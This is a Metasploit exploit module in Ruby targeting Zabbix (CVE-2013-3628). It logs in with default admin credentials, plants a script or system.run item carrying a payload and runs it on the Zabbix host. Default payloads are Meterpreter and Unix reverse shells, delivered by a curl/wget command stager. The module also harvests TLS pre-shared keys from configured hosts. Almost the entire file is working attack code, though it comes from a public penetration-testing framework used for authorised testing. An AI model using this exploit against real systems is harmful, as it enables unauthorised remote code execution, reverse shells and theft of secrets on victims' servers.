390 lines
10 KiB
Ruby
390 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Retry
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Zabbix Authenticated Remote Command Execution',
|
|
'Description' => %q{
|
|
ZABBIX allows an administrator to create scripts that will be run on hosts.
|
|
An authenticated attacker can create a script containing a payload, then a host
|
|
with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
|
|
|
|
This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>', # Discovery / msf module
|
|
'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
|
|
],
|
|
'References' => [
|
|
['CVE', '2013-3628'],
|
|
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
|
|
],
|
|
|
|
'Targets' => [
|
|
[
|
|
'Linux Dropper', {
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ],
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => 'curl',
|
|
'MeterpreterTryToFork' => true,
|
|
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Unix Command', {
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2013-10-30',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'WfsDelay' => 60 },
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']),
|
|
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']),
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']),
|
|
OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']),
|
|
OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']),
|
|
OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]),
|
|
OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
auth_token = login
|
|
zabbix_version = get_version
|
|
|
|
str = rand_text_alpha(18)
|
|
|
|
script_id = create_script(auth_token, zabbix_version, "echo #{str}")
|
|
group_id = find_group_id(auth_token)
|
|
host_id = create_host(auth_token, group_id)
|
|
|
|
resp = execute_script(auth_token, host_id, script_id)
|
|
|
|
if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def send_json_api_request(method, auth_token = nil, params = {})
|
|
resp = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'),
|
|
'data' => {
|
|
'auth' => auth_token,
|
|
'id' => 1,
|
|
'jsonrpc' => '2.0',
|
|
'method' => method,
|
|
'params' => params
|
|
}.to_json,
|
|
'ctype' => 'application/json-rpc'
|
|
})
|
|
|
|
fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil?
|
|
|
|
json_document = resp.get_json_document
|
|
|
|
fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty?
|
|
|
|
return json_document
|
|
end
|
|
|
|
def get_interfaceid(auth_token, host_id)
|
|
params = {
|
|
'hostids' => host_id,
|
|
'output' => 'extend'
|
|
}
|
|
|
|
resp = send_json_api_request('hostinterface.get', auth_token, params)
|
|
|
|
return resp['result'][0]['interfaceid']
|
|
end
|
|
|
|
def create_item(auth_token, host_id, payload)
|
|
interface_id = get_interfaceid(auth_token, host_id)
|
|
item_title = rand_text_alpha(18)
|
|
@item_title = item_title
|
|
|
|
print_status("Creating an item called #{item_title}")
|
|
|
|
params = {
|
|
'delay' => 30,
|
|
'hostid' => host_id,
|
|
'interfaceid' => interface_id,
|
|
'key_' => "system.run[#{payload},nowait]",
|
|
'name' => item_title,
|
|
'type' => 0,
|
|
'value_type' => 3
|
|
}
|
|
|
|
send_json_api_request('item.create', auth_token, params)
|
|
|
|
vprint_good('Successfully created an item')
|
|
end
|
|
|
|
def create_script(auth_token, zabbix_version, payload)
|
|
script_title = rand_text_alpha(18)
|
|
@script_title = script_title
|
|
|
|
print_status("Creating a script called #{script_title}")
|
|
|
|
params = {
|
|
'command' => payload,
|
|
'name' => script_title,
|
|
'type' => 0
|
|
}
|
|
|
|
if zabbix_version >= Rex::Version.new('5.4.0')
|
|
params[:scope] = 2
|
|
end
|
|
|
|
resp = send_json_api_request('script.create', auth_token, params)
|
|
script_id = resp.dig('result', 'scriptids', 0)
|
|
@script_id = script_id
|
|
|
|
return script_id
|
|
end
|
|
|
|
def execute_script(auth_token, host_id, script_id)
|
|
print_status('Executing the script...')
|
|
|
|
retry_until_truthy(timeout: datastore['TIMEOUT']) do
|
|
params = {
|
|
'scriptid' => script_id.to_s,
|
|
'hostid' => host_id.to_s
|
|
}
|
|
|
|
resp = send_json_api_request('script.execute', auth_token, params)
|
|
|
|
next if !resp['error'].nil?
|
|
|
|
return resp
|
|
end
|
|
end
|
|
|
|
def find_tls_psk(auth_token)
|
|
print_status('Searching for a TLS PSK (pre-shared key)...')
|
|
|
|
resp = send_json_api_request('host.get', auth_token)
|
|
|
|
# Searching for a PSK
|
|
resp['result'].each do |host|
|
|
next if host['tls_psk'].to_s.strip.empty?
|
|
|
|
print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...")
|
|
datastore['TLS_PSK'] = host['tls_psk']
|
|
datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity']
|
|
break
|
|
end
|
|
end
|
|
|
|
def exploit_script(auth_token, zabbix_version)
|
|
case target['Type']
|
|
when :unix_cmd
|
|
script_id = create_script(auth_token, zabbix_version, payload.encoded)
|
|
when :linux_dropper
|
|
script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join)
|
|
end
|
|
|
|
group_id = find_group_id(auth_token)
|
|
host_id = create_host(auth_token, group_id)
|
|
|
|
execute_script(auth_token, host_id, script_id)
|
|
end
|
|
|
|
def exploit_item(auth_token)
|
|
group_id = find_group_id(auth_token)
|
|
|
|
if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == ''
|
|
find_tls_psk(auth_token)
|
|
end
|
|
|
|
host_id = create_host(auth_token, group_id)
|
|
|
|
case target['Type']
|
|
when :unix_cmd
|
|
create_item(auth_token, host_id, payload.encoded)
|
|
when :linux_dropper
|
|
create_item(auth_token, host_id, generate_cmdstager.join)
|
|
end
|
|
end
|
|
|
|
def find_group_id(auth_token)
|
|
print_status('Getting a valid group id...')
|
|
|
|
params = {
|
|
'output' => 'extend'
|
|
}
|
|
|
|
resp = send_json_api_request('hostgroup.get', auth_token, params)
|
|
|
|
group_id = resp.dig('result', 0, 'groupid')
|
|
@group_id = group_id
|
|
|
|
if !group_id.nil?
|
|
vprint_good('Successfully got a valid groupid')
|
|
end
|
|
|
|
return group_id
|
|
end
|
|
|
|
def create_host(auth_token, group_id)
|
|
host = rand_text_alpha(18)
|
|
@host_name = host
|
|
|
|
print_status("Creating a host called #{host}")
|
|
|
|
params = {
|
|
'groups' => [
|
|
{
|
|
'groupid' => group_id
|
|
}
|
|
],
|
|
'host' => host,
|
|
'interfaces' => [
|
|
{
|
|
'dns' => '',
|
|
'ip' => '127.0.0.1',
|
|
'main' => 1,
|
|
'port' => '10050',
|
|
'type' => 1,
|
|
'useip' => 1
|
|
}
|
|
]
|
|
}
|
|
|
|
if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != ''
|
|
params[:tls_connect] = 2
|
|
params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY']
|
|
params[:tls_psk] = datastore['TLS_PSK']
|
|
end
|
|
|
|
resp = send_json_api_request('host.create', auth_token, params)
|
|
|
|
host_id = resp.dig('result', 'hostids', 0)
|
|
@host_id = host_id
|
|
|
|
vprint_good('Successfully created an host')
|
|
|
|
return host_id
|
|
end
|
|
|
|
def login
|
|
params = {
|
|
'password' => datastore['PASSWORD'],
|
|
'user' => datastore['USERNAME']
|
|
}
|
|
|
|
resp = send_json_api_request('user.login', nil, params)
|
|
|
|
auth_token = resp['result']
|
|
@auth_token = auth_token
|
|
|
|
if !auth_token.nil?
|
|
print_good('Successfully logged in')
|
|
end
|
|
|
|
return auth_token
|
|
end
|
|
|
|
def get_version
|
|
resp = send_json_api_request('apiinfo.version')
|
|
|
|
version = Rex::Version.new(resp['result'])
|
|
@zabbix_version = version
|
|
|
|
if !version.nil?
|
|
vprint_status("Zabbix version number #{version}")
|
|
end
|
|
|
|
return version
|
|
end
|
|
|
|
def exploit
|
|
version = get_version
|
|
auth_token = login
|
|
|
|
if datastore['TECHNIQUE'] == 'script'
|
|
exploit_script(auth_token, version)
|
|
elsif datastore['TECHNIQUE'] == 'item'
|
|
exploit_item(auth_token)
|
|
end
|
|
end
|
|
|
|
def delete_host(auth_token, host_id, host_name, zabbix_version)
|
|
params = {}
|
|
|
|
if zabbix_version < Rex::Version.new('2.2.0')
|
|
params = [ { 'hostid' => host_id } ]
|
|
else
|
|
params = [ host_id ]
|
|
end
|
|
|
|
resp = send_json_api_request('host.delete', auth_token, params)
|
|
|
|
if !resp['result'].nil?
|
|
vprint_good("Successfully deleted '#{host_name}' host")
|
|
else
|
|
print_warning("Couldn't delete the host '#{host_name}'")
|
|
end
|
|
end
|
|
|
|
def delete_script(auth_token, script_id, script_title)
|
|
params = [ script_id ]
|
|
|
|
resp = send_json_api_request('script.delete', auth_token, params)
|
|
|
|
if !resp['result'].nil?
|
|
vprint_good("Successfully deleted '#{script_title}' script")
|
|
else
|
|
print_warning("Couldn't delete the script '#{script_title}'")
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
return unless @host_id
|
|
|
|
delete_host(@auth_token, @host_id, @host_name, @zabbix_version)
|
|
|
|
return unless @script_id
|
|
|
|
delete_script(@auth_token, @script_id, @script_title)
|
|
ensure
|
|
super
|
|
end
|
|
end
|